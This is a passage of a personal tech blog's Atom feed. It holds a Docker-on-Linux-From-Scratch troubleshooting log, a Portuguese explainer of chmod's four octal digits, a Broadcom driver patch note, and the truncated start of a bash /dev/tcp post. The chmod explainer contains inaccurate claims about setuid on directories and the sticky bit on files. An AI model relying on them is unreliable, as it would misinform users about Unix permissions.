&amp;nbsp;&amp;nbsp;&amp;nbsp; cd $PKG/usr/share/ca-certificates/&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; find . -name &#39;*.crt&#39; | sort | cut -b3-&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ) &amp;gt;$PKG/etc/ca-certificates.conf&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/blockquote&gt;
&lt;br /&gt;
But aparently still no success, anyway this post was closed in favor of issue 5157:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://github.com/docker/docker/issues/5157&quot;&gt;https://github.com/docker/docker/issues/5157&lt;/a&gt;&lt;br /&gt;
geokala user posted:&lt;br /&gt;
&quot;For SLES11 the following seems to work (at least it gives me a new error that hg isn&#39;t present):&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
cat /etc/ssl/certs/*.pem &amp;gt; /etc/ssl/certs/ca-certificates.crt&lt;br /&gt;
sed -i -r &#39;/^#.+/d&#39; /etc/ssl/certs/ca-certificates.crt&quot;&lt;/blockquote&gt;
&lt;br /&gt;
I did run and again(I think) it do not solved my problem. I&#39;m not sure, it was 3A.M. so give me a break if it&#39;s not true.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are many others programs in my LFS using ca-certificates and I don&#39;t have any other ca-certificates problems. So, maybe it is something related with go.&lt;br /&gt;
&lt;br /&gt;
then I deep into go instalation from source(of couse):&lt;br /&gt;
$ git clone https://go.googlesource.com/go&lt;br /&gt;
read the README and docs in doc folder... nicely documented, then I have a functional go environment.&lt;br /&gt;
&lt;b&gt;BUT&lt;/b&gt; despite the docker error is from &quot;golang&quot; my &quot;go binary&quot; do not have this https problem, only docker.&lt;br /&gt;
&lt;br /&gt;
Then research again, and I found this:&lt;br /&gt;
&lt;a href=&quot;http://blog.devtable.com/2014/01/using-docker-on-osx-with-private.html&quot;&gt;http://blog.devtable.com/2014/01/using-docker-on-osx-with-private.html&lt;/a&gt;&lt;br /&gt;
It&#39;s exactly my problem! but on OSX, not LFS. anyway he explains how to fix, then let&#39;s try it.&lt;br /&gt;
&lt;br /&gt;
We need some adaptations but it not hard.&lt;br /&gt;
&lt;br /&gt;
After this docker works (at least the error changed)&lt;br /&gt;
&lt;h4&gt;
Success on run&lt;/h4&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ docker run -i -t ubuntu /bin/bash&lt;br /&gt;Unable to find image &#39;ubuntu:latest&#39; locally&lt;br /&gt;511136ea3c5a: Pull complete &lt;br /&gt;511136ea3c5a: Download complete &lt;br /&gt;f3c84ac3a053: Download complete &lt;br /&gt;a1a958a24818: Download complete &lt;br /&gt;9fec74352904: Download complete &lt;br /&gt;d0955f21bf24: Download complete &lt;br /&gt;Status: Downloaded newer image for ubuntu:latest&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;FATA&lt;/span&gt;[0244] Error response from daemon: Cannot start container ac28ce91b6ce51da7b5b49c8a9e3711eed7ad5e25ceef3cb1f189c7b56a09486: failed to find the cgroup root&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
ooops... I forgot the correct cgroup mount(but it is in &lt;a href=&quot;http://docs.docker.com/installation/binaries/&quot;&gt;tutorial&lt;/a&gt;):&lt;a href=&quot;https://github.com/tianon/cgroupfs-mount/blob/master/cgroupfs-mount&quot;&gt;https://github.com/tianon/cgroupfs-mount/blob/master/cgroupfs-mount&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
After correctly mount cgroups, restart the docker daemon but it do not solved:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;ERRO&lt;/span&gt;[0010] [warning]: couldn&#39;t run auplink before unmount: exec: &quot;auplink&quot;: executable file not found in $PATH ERRO[0010] [warning]: couldn&#39;t run auplink before unmount: exec: &quot;auplink&quot;: executable file not found in $PATH &lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;auplink&lt;/b&gt; ??? a new player ? researching...&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
$ locate auplink&lt;br /&gt;
/sources/aufs-util.git/auplink.&lt;/blockquote&gt;
&lt;br /&gt;
So, auplink is just part of aufs-util, that I forgot to install... let&#39;s do it.&lt;br /&gt;
but a make was not so ease:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ make&lt;br /&gt;cc -O -Wall -D_GNU_SOURCE -I./libau -DAUFHSM_CMD=\&quot;/usr/bin/aufhsm\&quot; -DMOUNT_CMD=\&quot;/bin/mount\&quot; -DUMOUNT_CMD=\&quot;/bin/umount\&quot;&amp;nbsp;&amp;nbsp; ver.c&amp;nbsp;&amp;nbsp; -o ver&lt;br /&gt;ver.c:19:29: fatal error: linux/aufs_type.h: No such file or directory&lt;br /&gt;&amp;nbsp;#include &lt;linux aufs_type.h=&quot;&quot;&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ^&lt;br /&gt;compilation terminated.&lt;br /&gt;make: *** [ver] Error 1&lt;/linux&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
after manually copy the aufs_type.h to /usr/include/linux it fails too:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ make&lt;br /&gt;cc -O -Wall -D_GNU_SOURCE -I./libau -DAUFHSM_CMD=\&quot;/usr/bin/aufhsm\&quot; -DMOUNT_CMD=\&quot;/bin/mount\&quot; -DUMOUNT_CMD=\&quot;/bin/umount\&quot;&amp;nbsp;&amp;nbsp; ver.c&amp;nbsp;&amp;nbsp; -o ver&lt;br /&gt;In file included from ver.c:19:0:&lt;br /&gt;/usr/include/linux/aufs_type.h:289:27: error: expected ‘:’, ‘,’, ‘;’, ‘}’ or ‘__attribute__’ before ‘*’ token&lt;br /&gt;&amp;nbsp; struct au_rdu_ent __user *e;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ^&lt;br /&gt;make: ** [ver] Erro 1&lt;/span&gt;&lt;/blockquote&gt;
research...&lt;br /&gt;
&lt;a href=&quot;http://comments.gmane.org/gmane.linux.file-systems.aufs.user/3241&quot;&gt;http://comments.gmane.org/gmane.linux.file-systems.aufs.user/3241&lt;/a&gt;&lt;br /&gt;
&quot;&lt;i&gt;...No, don&#39;t copy the header files manually.&lt;br /&gt;&quot;make headers_install&quot; modifies the header files for userspace and copy&lt;br /&gt;them where you specify...&lt;/i&gt;&quot;&lt;br /&gt;
... &lt;br /&gt;
&quot;&lt;i&gt;...Okay, got it. I didn&#39;t realize &quot;make headers_install&quot; puts them in&lt;br /&gt;usr/include in the kernel tree...&lt;/i&gt;&quot;&lt;br /&gt;
What ? make headers_install do not install headers? lets see:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt; &lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ find -name aufs_type.h&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;./usr/include/linux/aufs_type.h&lt;br /&gt;./include/uapi/linux/aufs_type.h&lt;br /&gt;$ diff ./usr/include/linux/aufs_type.h ./include/uapi/linux/aufs_type.h -q&lt;br /&gt;Files ./usr/include/linux/aufs_type.h and ./include/uapi/linux/aufs_type.h differ&lt;br /&gt;$ sudo cp usr/include/linux/aufs_type.h /usr/include/linux/ -v&lt;br /&gt;“usr/include/linux/aufs_type.h” -&amp;gt; “/usr/include/linux/aufs_type.h”&lt;/span&gt;&lt;/blockquote&gt;
then back to aufs-util dir:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ cd -&lt;br /&gt;/sources/aufs-util.git&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ make&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;... &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ sudo make install &lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Now it&#39;s done =D&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;
restarting docker daemon&lt;/h4&gt;
I&#39;m worried about this, but let&#39;s go ahead: &lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
... &lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;INFO[0000] WARNING: mountpoint for memory not found&lt;/span&gt;&lt;br /&gt;
...&lt;/blockquote&gt;
&lt;b&gt;try to run:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ docker -D run -i -t ubuntu /bin/bash&lt;br /&gt;DEBU[0000] [hijack] End of stdout&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DEBU[0000] End of CmdRun(), Waiting for hijack to finish. &lt;br /&gt;FATA[0000] Error response from daemon: Cannot start container 4e0c441cc067a59ef769b98cbce99f983b734f30354d8cc2ce6c8aebf4f1ce66: mountpoint for devices not found &lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;b&gt;Docker daemon says:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Cannot start container 4e0c441cc067a59ef769b98cbce99f983b734f30354d8cc2ce6c8aebf4f1ce66: mountpoint for devices not found&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;INFO[0195] -job start(4e0c441cc067a59ef769b98cbce99f983b734f30354d8cc2ce6c8aebf4f1ce66) = ERR (1) &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;ERRO[0195] Handler for POST /containers/{name:.*}/start returned error: Cannot start container 4e0c441cc067a59ef769b98cbce99f983b734f30354d8cc2ce6c8aebf4f1ce66: mountpoint for devices not found &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;ERRO[0195] HTTP Error: statusCode=500 Cannot start container 4e0c441cc067a59ef769b98cbce99f983b734f30354d8cc2ce6c8aebf4f1ce66: mountpoint for devices not found &lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Let&#39;s look at CGROUP kernel config:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ zcat /proc/config.gz | grep CONFIG_CGROUP_DEVICE&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;# CONFIG_CGROUP_DEVICE is not set&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Another kernel change needed. This time I did recompile the kernel with all CONFIG_CGGROUP* and some CONFIG*CG* checked. This way the WARNING message is gone.&lt;br /&gt;
&lt;br /&gt;
What next ?&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;FATA[0003] Error response from daemon: Cannot start container 7f031a5eeaa76518a8bb4c0ccbbdb3143280b52d99f65aaca3bc0db463838620: operation not supported &lt;/span&gt;&lt;/blockquote&gt;
daemon: &lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;ERRO[0305] Handler for POST /containers/{name:.*}/start returned error: Cannot start container 7f031a5eeaa76518a8bb4c0ccbbdb3143280b52d99f65aaca3bc0db463838620: operation not supported &lt;br /&gt;ERRO[0305] HTTP Error: statusCode=500 Cannot start container 7f031a5eeaa76518a8bb4c0ccbbdb3143280b52d99f65aaca3bc0db463838620: operation not supported &lt;/span&gt;&lt;/blockquote&gt;
some more research &lt;br /&gt;
&lt;a href=&quot;https://github.com/docker/docker/issues/7246&quot;&gt;https://github.com/docker/docker/issues/7246&lt;/a&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Once more time:&lt;/span&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ zcat /proc/config.gz | grep VETH&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;# CONFIG_VETH is not set&lt;/span&gt;&lt;/blockquote&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;again... change kernel config, recompile and try again.&lt;br /&gt;
&lt;br /&gt;
this time I&#39;m installing LXC too, but I don&#39;t know if it is really required in this context. I will search later:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;sudo git clone https://github.com/lxc/lxc.git&lt;/span&gt;&lt;/blockquote&gt;
&lt;h4&gt;
VICTORY!&lt;/h4&gt;
I&#39;m exausted but the docker is running:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$ docker -D run -i -t ubuntu /bin/bash&lt;br /&gt;root@d877dd7aed57:/#&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;root@12b316d2ff64:/# cat /etc/lsb-release &lt;br /&gt;DISTRIB_ID=Ubuntu&lt;br /&gt;DISTRIB_RELEASE=14.04&lt;br /&gt;DISTRIB_CODENAME=trusty&lt;br /&gt;DISTRIB_DESCRIPTION=&quot;Ubuntu 14.04.2 LTS&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;root@d877dd7aed57:/# exit&lt;br /&gt;exit&lt;br /&gt;DEBU[0200] [hijack] End of stdout&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DEBU[0200] End of CmdRun(), Waiting for hijack to finish. &lt;br /&gt;$&amp;nbsp; &lt;/span&gt;&lt;/blockquote&gt;
&lt;h4&gt;
Usefull links:&lt;/h4&gt;
&lt;a href=&quot;https://docs.docker.com/installation/binaries/&quot;&gt;https://docs.docker.com/installation/binaries/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://blog.tremily.us/posts/Docker/&quot;&gt;http://blog.tremily.us/posts/Docker/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/dram/crux/blob/master/ca-certificates/Pkgfile&quot;&gt;https://github.com/dram/crux/blob/master/ca-certificates/Pkgfile&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://byteoutalife.wordpress.com/2013/12/30/building-docker-from-source-on-the-raspberry-pi/&quot;&gt;https://byteoutalife.wordpress.com/2013/12/30/building-docker-from-source-on-the-raspberry-pi/&lt;/a&gt; </content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/5376687939696114304/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/5376687939696114304' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/5376687939696114304'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/5376687939696114304'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2015/04/docker-on-lfs-hard-way.html' title='Docker on LFS - The hard way'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-3718034460019561314</id><published>2015-02-02T12:12:00.000-02:00</published><updated>2015-02-02T12:12:06.500-02:00</updated><title type='text'>Explicando os 4 bytes do chmod</title><content type='html'>Existe muita confusão sobre o primeiro dos 4 bits de permissões de arquivos em linux. Vou tentar explicar aqui.&lt;br /&gt;&lt;br /&gt;O comando chmod pode receber argumentos em formato de texto (Exemplo: o-rwx) e também em formato de bits de controle 0700.&lt;br /&gt;Cada dígito representa o valor decimal de um byte de controle, que é a somatória dos bits marcados.&lt;br /&gt;Quando usando o formato de dígitos, pode-se informar 3 ou 4 dígitos, representando os bits de controle. O primeiro byte é opcional, então primeiro deixe-me relembrá-los como funcionam os 3 últimos bytes:&lt;br /&gt;&lt;br /&gt;Os 3 últimos bytes todos sabem que significam as permissões do usuário, grupo e outros, respectivamente. e os seus valores de bit são:&lt;br /&gt;&lt;b&gt;bit: 001, decimal: 1&lt;/b&gt; - direito a executar o arquivo.&lt;br /&gt;&lt;b&gt;bit: 010, decimal: 2&lt;/b&gt; - direito de escrever no arquivo.&lt;br /&gt;&lt;b&gt;bit: 100, decimal: 4&lt;/b&gt; - direito de ler o arquivo.&lt;br /&gt;&lt;br /&gt;Deste modo, apenas precisamos somar os valores decimais dos bits que queremos e colocar no byte relativo ao item que queremos definir. (Ex: chmod 777 arquivo - dá permissão total a todos).&lt;br /&gt;&lt;br /&gt;Mas e o primeiro byte (que é opcional) ?&lt;br /&gt;&lt;br /&gt;O primeiro dígito referencia como o arquivo o diretório deve se comportar, o significado dos bits aplicados a este byte(digito), depende se está sendo aplicado a um &lt;b&gt;arquivo&lt;/b&gt; ou a um &lt;b&gt;diretório&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;Se estiver sendo aplicado a um &lt;b&gt;diretório&lt;/b&gt;:&lt;br /&gt;&lt;b&gt;bit: 001, decimal 1&lt;/b&gt; - Ativa a &lt;b&gt;RESTRICTED DELETION FLAG&lt;/b&gt; que significa que somente o mesmo que o usuário que criou o arquivo, pode removê-lo ou renomeá-lo, mesmo que outros tenham permissão para isto.&lt;br /&gt;&lt;b&gt;bit: 010, decimal 2&lt;/b&gt; - Todos os arquivos e diretórios criados dentro deste diretório vão receber o mesmo grupo do diretório, não do usuário que criou o arquivo(que é o padrão).&lt;br /&gt;&lt;b&gt;bit: 100, decimal 4&lt;/b&gt; - Todos os arquivos e diretórios criados dentro deste diretório vão receber o mesmo owner(priprietário) do diretório, não do usuário que criou o arquivo(que é padrão)&lt;br /&gt;
&lt;br /&gt;Se estiver sendo aplicado a um &lt;b&gt;arquivo&lt;/b&gt;:&lt;br /&gt;&lt;b&gt;bit: 001, decimal 1&lt;/b&gt; - Ativa o &lt;b&gt;STICKY BIT&lt;/b&gt;, salva o arquivo também na memória(normalmente swap) para permitir que ele seja carregado mais rapidamente. Isto é útil para contextos muito específicos e não deve ser abusado.&lt;br /&gt;&lt;b&gt;bit: 010, decimal 2&lt;/b&gt; - Se executado, sempre usará as permissões do grupo setado no arquivo, não do usuário que está solicitando a execução (que é o padrão)&lt;br /&gt;&lt;b&gt;bit: 100, decimal 4&lt;/b&gt; - Se executado, sempre usará as permissões do dono(owner) do arquivo, não do usuário que está solicitando a execução (que é o padrão)&lt;br /&gt;&lt;br /&gt;Espero que isto esclareça este bit.﻿</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/3718034460019561314/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/3718034460019561314' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/3718034460019561314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/3718034460019561314'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2015/02/explicando-os-4-bytes-do-chmod.html' title='Explicando os 4 bytes do chmod'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-4630660336095565819</id><published>2013-11-11T10:18:00.004-02:00</published><updated>2013-11-11T10:18:48.352-02:00</updated><title type='text'>Patch to broadcom wl module work in kernels above 3.10</title><content type='html'>The linux kernel 3.12 is out: &lt;a class=&quot;ot-anchor&quot; href=&quot;https://www.kernel.org/&quot; rel=&quot;nofollow&quot;&gt;https://www.kernel.org/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In
 the linux kernel above 3.12 the wireless card broadcom used in dell vostro
laptops do not work very well without the vendor hybrid module:&lt;br /&gt;&lt;a class=&quot;ot-anchor&quot; href=&quot;http://www.broadcom.com/support/802.11/linux_sta.php&quot; rel=&quot;nofollow&quot;&gt;http://www.broadcom.com/support/802.11/linux_sta.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To make it work, in kernels above 3.10, we need to apply the below patch:&lt;br /&gt;&lt;a class=&quot;ot-anchor&quot; href=&quot;https://477372.bugs.gentoo.org/attachment.cgi?id=354596&quot; rel=&quot;nofollow&quot;&gt;https://477372.bugs.gentoo.org/attachment.cgi?id=354596&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Just apply and rebuild the module.</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/4630660336095565819/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/4630660336095565819' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/4630660336095565819'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/4630660336095565819'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2013/11/patch-to-broadcom-wl-module-work-in.html' title='Patch to broadcom wl module work in kernels above 3.10'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-712994583111283318</id><published>2013-11-06T19:51:00.000-02:00</published><updated>2013-11-06T19:51:22.931-02:00</updated><title type='text'>[BASH] Socket direto do shell, quem precisa de wget ?</title><content type='html'>Qualquer pessoa que cria shell scripts sabe que wget é um item essencial. Mas mesmo conhecendo bem wget, não é fácil enxergar exatamente oque trafega entre seu computador e o servidor web. Sem falar que quando o canal não é exatamente tcp/http não é a ferramenta certa. Nestes casos você pode usar netcat (nc) e/ou telnet, mas precisa conhecer bem, não só o que está fazendo, mas as ferramentas também.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Acontece que é possível usar um recurso nativo do bash para se conectar em um socket com tcp ou udp, enviar oque quiser pra lá, e ler o retorno.&lt;br /&gt;
&lt;br /&gt;
A referência é:&lt;br /&gt;
http://tldp.org/LDP/abs/html/devref1.html#DEVTCP&lt;br /&gt;
&lt;br /&gt;
Se está ansioso pra ver funcionar basta fazer:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
